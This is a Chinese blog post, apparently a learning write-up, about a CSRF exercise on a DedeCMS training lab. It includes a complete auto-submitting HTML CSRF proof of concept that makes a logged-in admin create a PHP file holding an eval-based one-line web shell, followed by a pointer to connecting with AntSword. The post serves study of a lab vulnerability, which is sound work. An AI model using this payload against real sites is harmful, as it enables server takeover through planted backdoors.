其他分享
首页 > 其他分享> > 记一次csrf学习过程

记一次csrf学习过程

作者:互联网

CSRF(Cross-site request forgery)跨站请求伪造。就是盗用cookie,但不是盗取cookie。

假设黑客知道A已经登录过网站a,并且网站a保存了A的cookie,下次打开的时候就不用再次登录,(如b站那种)。或者是A已经打开过一个网站,并登录了。

黑客做了一个网页,里面有csrf,这个时候,黑客诱导A点开了他做的网页,这个时候就会触发csrf,从而修改网站a的内容。

比较好执行csrf的是用cms搭建的网站,因为cms源码是固定的,所以数据包可以构建。

任何的网站功能(互联网)的本质都是数据包的传递。

 

以掌控安全的靶场为例:(目标是新建带一句话木马的文件)

因为靶场使用的是dedecms,所以我们先进行本地测试。(搭建一个dedecms)

进入后台

 

 

因为在新建文件的时候也是会有数据包传输的,所以我们进行抓包

 

得到了一下数据包内容

 

 

 这里就可以知道新建文件的数据包是什么结构了。那个str的内容是我最帅ulr编码后的内容。至于B1是什么东西,我也不知道。

现在进行构造,

 

 得到了

这里要把token去掉。

 再根据靶场的实际情况进行更改就行了。结果如下

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id='a' action="http://目标域名或ip/newcsrf/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/newcsrf/uploads/" />
<input type="hidden" name="filename" value="wzx.php" />
<input type="hidden" name="str" value="<?php eval($_REQUEST['w']);?>" />
<input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
<input type="submit" value="Submit request" />
</form>
<script>
document.getElementById('a').submit();
</script>
</body>
</html>

因为要成功执行的话需要点击,所以在最后面加了个自动点击功能。

因为我没有公网ip,所以靶场提供了一个上传的功能,上传后提供文件地址,然后让机器人自动点击,来达到漏洞执行的目的。

然后就可以看到一个带有一句话木马的文件上传到他的网站目录里了。

 

 

接下来用蚁剑连接就行了。

 

 

 

标签:一次,网站,学习,黑客,cookie,csrf,靶场,数据包
来源: https://www.cnblogs.com/v2ish1yan/p/16125246.html